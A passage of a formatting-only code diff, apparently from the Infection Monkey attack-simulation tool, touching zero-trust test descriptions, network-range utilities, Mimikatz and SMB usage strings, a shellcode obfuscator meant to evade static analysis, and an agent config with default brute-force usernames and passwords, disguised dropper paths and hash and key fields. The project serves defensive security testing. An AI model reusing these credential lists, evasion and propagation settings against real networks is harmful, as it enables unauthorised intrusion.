STATUS_VERIFY] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY], }, TEST_ENDPOINT_SECURITY_EXISTS: { TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus " - "software on endpoints.", + "software on endpoints.", STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a " - "security concern. " + "security concern. ", }, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_MACHINE_EXPLOITED: { TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see " - "which endpoints were compromised.", - STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." + "which endpoints were compromised.", + STATUS_PASSED: "Monkey didn't manage to exploit an endpoint.", }, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY], }, TEST_SCHEDULED_EXECUTION: { TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security " - "software.", - STATUS_PASSED: "Monkey failed to execute in a scheduled manner." + "software.", + STATUS_PASSED: "Monkey failed to execute in a scheduled manner.", }, PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, PILLARS_KEY: [PEOPLE, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY], }, TEST_DATA_ENDPOINT_ELASTIC: { TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts " - "that indicate attempts to access them. " + "that indicate attempts to access them. ", }, PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_DATA_ENDPOINT_HTTP: { TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate " - "attempts to access them. " + "attempts to access them. ", }, PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_DATA_ENDPOINT_POSTGRESQL: { TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to PostgreSQL servers.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey accessed PostgreSQL servers. Limit access to data by encrypting it in in-transit.", STATUS_PASSED: "Monkey didn't find open PostgreSQL servers. If you have such servers, look for alerts that " - "indicate attempts to access them. " + "indicate attempts to access them. ", }, PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_TUNNELING: { TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - " - "restrict them. " + "restrict them. " }, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED], }, TEST_COMMUNICATE_AS_NEW_USER: { TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - " - "restrict them to MAC only.", - STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." + "restrict them to MAC only.", + STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network.", }, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: { TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.", - STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules." + STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.", }, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_UNENCRYPTED_DATA: { TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing unencrypted data.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found resources with unencrypted data.", - STATUS_PASSED: "ScoutSuite found no resources with unencrypted data." + STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.", }, PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: { TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not protected against data loss.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found resources not protected against data loss.", - STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss." + STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.", }, PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_SECURE_AUTHENTICATION: { TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' authentication.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found issues related to users' authentication.", - STATUS_PASSED: "ScoutSuite found no issues related to users' authentication." + STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.", }, PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION, PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: { TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access policies.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found permissive user access policies.", - STATUS_PASSED: "ScoutSuite found no issues related to user access policies." + STATUS_PASSED: "ScoutSuite found no issues related to user access policies.", }, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_LOGGING: { TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found logging issues.", - STATUS_PASSED: "ScoutSuite found no logging issues." + STATUS_PASSED: "ScoutSuite found no logging issues.", }, PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_SERVICE_SECURITY: { TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found service security issues.", - STATUS_PASSED: "ScoutSuite found no service security issues." + STATUS_PASSED: "ScoutSuite found no service security issues.", }, PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, PILLARS_KEY: [DEVICES, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] - } + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + }, } EVENT_TYPE_MONKEY_NETWORK = "monkey_network" @@ -282,7 +290,7 @@ DEVICES: [], WORKLOADS: [], VISIBILITY_ANALYTICS: [], - AUTOMATION_ORCHESTRATION: [] + AUTOMATION_ORCHESTRATION: [], } PRINCIPLES_TO_TESTS = {} diff --git a/monkey/common/config_value_paths.py b/monkey/common/config_value_paths.py index 5ddbe860525..4fc94ea4e68 100644 --- a/monkey/common/config_value_paths.py +++ b/monkey/common/config_value_paths.py @@ -1,13 +1,13 @@ -AWS_KEYS_PATH = ['internal', 'monkey', 'aws_keys'] -STARTED_ON_ISLAND_PATH = ['internal', 'general', 'started_on_island'] -EXPORT_MONKEY_TELEMS_PATH = ['internal', 'testing', 'export_monkey_telems'] -CURRENT_SERVER_PATH = ['internal', 'island_server', 'current_server'] -SSH_KEYS_PATH = ['internal', 'exploits', 'exploit_ssh_keys'] -INACCESSIBLE_SUBNETS_PATH = ['basic_network', 'network_analysis', 'inaccessible_subnets'] -USER_LIST_PATH = ['basic', 'credentials', 'exploit_user_list'] -PASSWORD_LIST_PATH = ['basic', 'credentials', 'exploit_password_list'] -EXPLOITER_CLASSES_PATH = ['basic', 'exploiters', 'exploiter_classes'] -SUBNET_SCAN_LIST_PATH = ['basic_network', 'scope', 'subnet_scan_list'] -LOCAL_NETWORK_SCAN_PATH = ['basic_network', 'scope', 'local_network_scan'] -LM_HASH_LIST_PATH = ['internal', 'exploits', 'exploit_lm_hash_list'] -NTLM_HASH_LIST_PATH = ['internal', 'exploits', 'exploit_ntlm_hash_list'] +AWS_KEYS_PATH = ["internal", "monkey", "aws_keys"] +STARTED_ON_ISLAND_PATH = ["internal", "general", "started_on_island"] +EXPORT_MONKEY_TELEMS_PATH = ["internal", "testing", "export_monkey_telems"] +CURRENT_SERVER_PATH = ["internal", "island_server", "current_server"] +SSH_KEYS_PATH = ["internal", "exploits", "exploit_ssh_keys"] +INACCESSIBLE_SUBNETS_PATH = ["basic_network", "network_analysis", "inaccessible_subnets"] +USER_LIST_PATH = ["basic", "credentials", "exploit_user_list"] +PASSWORD_LIST_PATH = ["basic", "credentials", "exploit_password_list"] +EXPLOITER_CLASSES_PATH = ["basic", "exploiters", "exploiter_classes"] +SUBNET_SCAN_LIST_PATH = ["basic_network", "scope", "subnet_scan_list"] +LOCAL_NETWORK_SCAN_PATH = ["basic_network", "scope", "local_network_scan"] +LM_HASH_LIST_PATH = ["internal", "exploits", "exploit_lm_hash_list"] +NTLM_HASH_LIST_PATH = ["internal", "exploits", "exploit_ntlm_hash_list"] diff --git a/monkey/common/network/__init__.py b/monkey/common/network/__init__.py index ee5b79ad073..a444730848a 100644 --- a/monkey/common/network/__init__.py +++ b/monkey/common/network/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 7eb082c8f44..581c4bf7735 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -5,7 +5,7 @@ import struct from abc import ABCMeta, abstractmethod -__author__ = 'itamar' +__author__ = "itamar" LOG = logging.getLogger(__name__) @@ -48,14 +48,14 @@ def get_range_obj(address_str): address_str = address_str.strip() if NetworkRange.check_if_range(address_str): return IpRange(ip_range=address_str) - if -1 != address_str.find('/'): + if -1 != address_str.find("/"): return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) @staticmethod def check_if_range(address_str): - if -1 != address_str.find('-'): - ips = address_str.split('-') + if -1 != address_str.find("-"): + ips = address_str.split("-") try: ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) except ValueError: @@ -85,28 +85,36 @@ def is_in_range(self, ip_address): return ipaddress.ip_address(ip_address) in self._ip_network def _get_range(self): - return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address] + return [ + CidrRange._ip_to_number(str(x)) + for x in self._ip_network + if x != self._ip_network.broadcast_address + ] class IpRange(NetworkRange): def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): super(IpRange, self).__init__(shuffle=shuffle) if ip_range is not None: - addresses = ip_range.split('-') + addresses = ip_range.split("-") if len(addresses) != 2: - raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range) + raise ValueError( + "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range + ) self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] elif (lower_end_ip is not None) and (higher_end_ip is not None): self._lower_end_ip = lower_end_ip.strip() self._higher_end_ip = higher_end_ip.strip() else: - raise ValueError('Illegal IP range: %s' % ip_range) + raise ValueError("Illegal IP range: %s" % ip_range) self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip) self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) if self._higher_end_ip_num < self._lower_end_ip_num: raise ValueError( - 'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip)) + "Higher end IP %s is smaller than lower end IP %s" + % (self._lower_end_ip, self._higher_end_ip) + ) def __repr__(self): return "" % (self._lower_end_ip, self._higher_end_ip) @@ -156,7 +164,7 @@ def string_to_host(string_): :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) """ # The most common use case is to enter ip/range into "Scan IP/subnet list" - domain_name = '' + domain_name = "" # Try casting user's input as IP try: @@ -167,8 +175,10 @@ def string_to_host(string_): ip = socket.gethostbyname(string_) domain_name = string_ except socket.error: - LOG.error("Your specified host: {} is not found as a domain name and" - " it's not an IP address".format(string_)) + LOG.error( + "Your specified host: {} is not found as a domain name and" + " it's not an IP address".format(string_) + ) return None, string_ # If a string_ was entered instead of IP we presume that it was domain name and translate it return ip, domain_name diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index eaa2bc19585..6aa5076ae75 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -15,6 +15,6 @@ def get_host_from_network_location(network_location: str) -> str: def remove_port(url): parsed = urlparse(url) - with_port = f'{parsed.scheme}://{parsed.netloc}' - without_port = re.sub(':[0-9]+(?=$|/)', '', with_port) + with_port = f"{parsed.scheme}://{parsed.netloc}" + without_port = re.sub(":[0-9]+(?=$|/)", "", with_port) return without_port diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py index 396bc1c0aa5..0376cd6d5fa 100644 --- a/monkey/common/network/test_network_utils.py +++ b/monkey/common/network/test_network_utils.py @@ -12,6 +12,6 @@ def test_get_host_from_network_location(self): assert get_host_from_network_location("user:password@host:8080") == "host" def test_remove_port_from_url(self): - assert remove_port('https://google.com:80') == 'https://google.com' - assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8' - assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com' + assert remove_port("https://google.com:80") == "https://google.com" + assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8" + assert remove_port("ftp://ftpserver.com:21/hello/world") == "ftp://ftpserver.com" diff --git a/monkey/common/network/test_segmentation_utils.py b/monkey/common/network/test_segmentation_utils.py index 1bb3d0484cd..c4728f98236 100644 --- a/monkey/common/network/test_segmentation_utils.py +++ b/monkey/common/network/test_segmentation_utils.py @@ -8,21 +8,13 @@ def test_get_ip_in_src_and_not_in_dst(self): target = CidrRange("2.2.2.0/24") # IP not in both - assert get_ip_in_src_and_not_in_dst( - ["3.3.3.3", "4.4.4.4"], source, target - ) is None + assert get_ip_in_src_and_not_in_dst(["3.3.3.3", "4.4.4.4"], source, target) is None # IP not in source, in target - assert (get_ip_in_src_and_not_in_dst( - ["2.2.2.2"], source, target - )) is None + assert (get_ip_in_src_and_not_in_dst(["2.2.2.2"], source, target)) is None # IP in source, not in target - assert (get_ip_in_src_and_not_in_dst( - ["8.8.8.8", "1.1.1.1"], source, target - )) + assert get_ip_in_src_and_not_in_dst(["8.8.8.8", "1.1.1.1"], source, target) # IP in both subnets - assert (get_ip_in_src_and_not_in_dst( - ["8.8.8.8", "1.1.1.1"], source, source - )) is None + assert (get_ip_in_src_and_not_in_dst(["8.8.8.8", "1.1.1.1"], source, source)) is None diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index 0eadbedcc70..c911ed7804c 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -13,17 +13,29 @@ class ScanStatus(Enum): class UsageEnum(Enum): - SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", - ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} - MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", - ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} - MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", - ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."} - DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} - SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", - ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" - " for monkey process wasn't successful."} - DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} + SMB = { + ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", + ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR.", + } + MIMIKATZ = { + ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", + ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed.", + } + MIMIKATZ_WINAPI = { + ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz.", + } + DROPPER = { + ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot." + } + SINGLETON_WINAPI = { + ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful.", + } + DROPPER_WINAPI = { + ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot." + } # Dict that describes what BITS job was used for @@ -31,8 +43,10 @@ class UsageEnum(Enum): def format_time(time): - return "%s-%s %s:%s:%s" % (time.date().month, - time.date().day, - time.time().hour, - time.time().minute, - time.time().second) + return "%s-%s %s:%s:%s" % ( + time.date().month, + time.date().day, + time.time().hour, + time.time().minute, + time.time().second, + ) diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py index 6d784d7ac50..a7654873832 100644 --- a/monkey/common/utils/mongo_utils.py +++ b/monkey/common/utils/mongo_utils.py @@ -1,14 +1,13 @@ import sys -if sys.platform == 'win32': +if sys.platform == "win32": import win32com import wmi -__author__ = 'maor.rayzin' +__author__ = "maor.rayzin" class MongoUtils: - def __init__(self): # Static class pass @@ -35,7 +34,10 @@ def fix_obj_for_mongo(o): try: # objectSid property of ds_user is problematic and need this special treatment. # ISWbemObjectEx interface. Class Uint8Array ? - if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": + if ( + str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) + == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}" + ): return o.Value except Exception: pass diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py index 4e4c2ed3d3b..11635201e53 100644 --- a/monkey/common/utils/shellcode_obfuscator.py +++ b/monkey/common/utils/shellcode_obfuscator.py @@ -9,8 +9,8 @@ # We only encrypt payloads to hide them from static analysis # it's OK to have these keys plaintext -KEY = b'1234567890123456' -NONCE = b'\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f' +KEY = b"1234567890123456" +NONCE = b"\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f" # Use this manually to get obfuscated bytes of shellcode diff --git a/monkey/common/utils/test_shellcode_obfuscator.py b/monkey/common/utils/test_shellcode_obfuscator.py index 7116993f2f4..bda9f79968c 100644 --- a/monkey/common/utils/test_shellcode_obfuscator.py +++ b/monkey/common/utils/test_shellcode_obfuscator.py @@ -2,12 +2,11 @@ from common.utils.shellcode_obfuscator import clarify, obfuscate -SHELLCODE = b'1234567890abcd' -OBFUSCATED_SHELLCODE = b'\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=' +SHELLCODE = b"1234567890abcd" +OBFUSCATED_SHELLCODE = b"\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=" class TestShellcodeObfuscator(TestCase): - def test_obfuscate(self): assert obfuscate(SHELLCODE) == OBFUSCATED_SHELLCODE diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py index fc82663cbb9..9b94f90ca09 100644 --- a/monkey/common/utils/wmi_utils.py +++ b/monkey/common/utils/wmi_utils.py @@ -8,11 +8,10 @@ from .mongo_utils import MongoUtils -__author__ = 'maor.rayzin' +__author__ = "maor.rayzin" class WMIUtils: - def __init__(self): # Static class pass diff --git a/monkey/common/version.py b/monkey/common/version.py index 5e8dd4bf451..4070fc2f6e4 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -16,10 +16,12 @@ def get_version(build=BUILD): def print_version(): parser = argparse.ArgumentParser() - parser.add_argument("-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str) + parser.add_argument( + "-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str + ) args = parser.parse_args() print(get_version(args.build)) -if __name__ == '__main__': +if __name__ == "__main__": print_version() diff --git a/monkey/infection_monkey/__init__.py b/monkey/infection_monkey/__init__.py index ee5b79ad073..a444730848a 100644 --- a/monkey/infection_monkey/__init__.py +++ b/monkey/infection_monkey/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 6529ade860c..7aeaccee2a6 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -5,14 +5,19 @@ from abc import ABCMeta from itertools import product -__author__ = 'itamar' +__author__ = "itamar" GUID = str(uuid.getnode()) -EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') +EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "monkey.bin") -SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys", "aws_secret_access_key", - "aws_session_token"] +SENSITIVE_FIELDS = [ + "exploit_password_list", + "exploit_user_list", + "exploit_ssh_keys", + "aws_secret_access_key", + "aws_session_token", +] LOCAL_CONFIG_VARS = ["name", "id", "current_server", "max_depth"] HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden" @@ -21,7 +26,7 @@ class Configuration(object): def from_kv(self, formatted_data): unknown_items = [] for key, value in list(formatted_data.items()): - if key.startswith('_'): + if key.startswith("_"): continue if key in LOCAL_CONFIG_VARS: continue @@ -45,7 +50,7 @@ def hide_sensitive_info(config_dict): def as_dict(self): result = {} for key in dir(Configuration): - if key.startswith('_'): + if key.startswith("_"): continue try: value = getattr(self, key) @@ -75,10 +80,10 @@ def as_dict(self): ########################### use_file_logging = True - dropper_log_path_windows = '%temp%\\~df1562.tmp' - dropper_log_path_linux = '/tmp/user-1562' - monkey_log_path_windows = '%temp%\\~df1563.tmp' - monkey_log_path_linux = '/tmp/user-1563' + dropper_log_path_windows = "%temp%\\~df1562.tmp" + dropper_log_path_linux = "/tmp/user-1562" + monkey_log_path_windows = "%temp%\\~df1563.tmp" + monkey_log_path_linux = "/tmp/user-1563" send_log_to_server = True ########################### @@ -88,16 +93,16 @@ def as_dict(self): dropper_try_move_first = True dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" - dropper_date_reference_path_linux = '/bin/sh' + dropper_date_reference_path_linux = "/bin/sh" dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe" dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" - dropper_target_path_linux = '/tmp/monkey' + dropper_target_path_linux = "/tmp/monkey" ########################### # Kill file ########################### - kill_file_path_windows = '%windir%\\monkey.not' - kill_file_path_linux = '/var/run/monkey.not' + kill_file_path_windows = "%windir%\\monkey.not" + kill_file_path_linux = "/var/run/monkey.not" ########################### # monkey config @@ -134,9 +139,7 @@ def as_dict(self): current_server = "" # Configuration servers to try to connect to, in this order. - command_servers = [ - "192.0.2.0:5000" - ] + command_servers = ["192.0.2.0:5000"] # sets whether or not to locally save the running configuration after finishing serialize_config = False @@ -150,7 +153,7 @@ def as_dict(self): keep_tunnel_open_time = 60 # Monkey files directory name - monkey_dir_name = 'monkey_dir' + monkey_dir_name = "monkey_dir" ########################### # scanners config @@ -165,22 +168,14 @@ def as_dict(self): blocked_ips = [] # TCP Scanner - HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate - 7001 # Oracle Weblogic default server port - ] - tcp_target_ports = [22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 5432] + HTTP_PORTS = [ + 80, + 8080, + 443, + 8008, # HTTP alternate + 7001, # Oracle Weblogic default server port + ] + tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200, 5432] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds tcp_scan_interval = 0 # in milliseconds @@ -221,11 +216,11 @@ def get_exploit_user_password_or_hash_product(self): :return: """ cred_list = [] - for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']): + for cred in product(self.exploit_user_list, self.exploit_password_list, [""], [""]): cred_list.append(cred) - for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list): + for cred in product(self.exploit_user_list, [""], [""], self.exploit_ntlm_hash_list): cred_list.append(cred) - for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']): + for cred in product(self.exploit_user_list, [""], self.exploit_lm_hash_list, [""]): cred_list.append(cred) return cred_list @@ -241,15 +236,15 @@ def hash_sensitive_data(sensitive_data): password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() return password_hashed - exploit_user_list = ['Administrator', 'root', 'user'] + exploit_user_list = ["Administrator", "root", "user"] exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_lm_hash_list = [] exploit_ntlm_hash_list = [] exploit_ssh_keys = [] - aws_access_key_id = '' - aws_secret_access_key = '' - aws_session_token = '' + aws_access_key_id = "" + aws_secret_access_key = "" 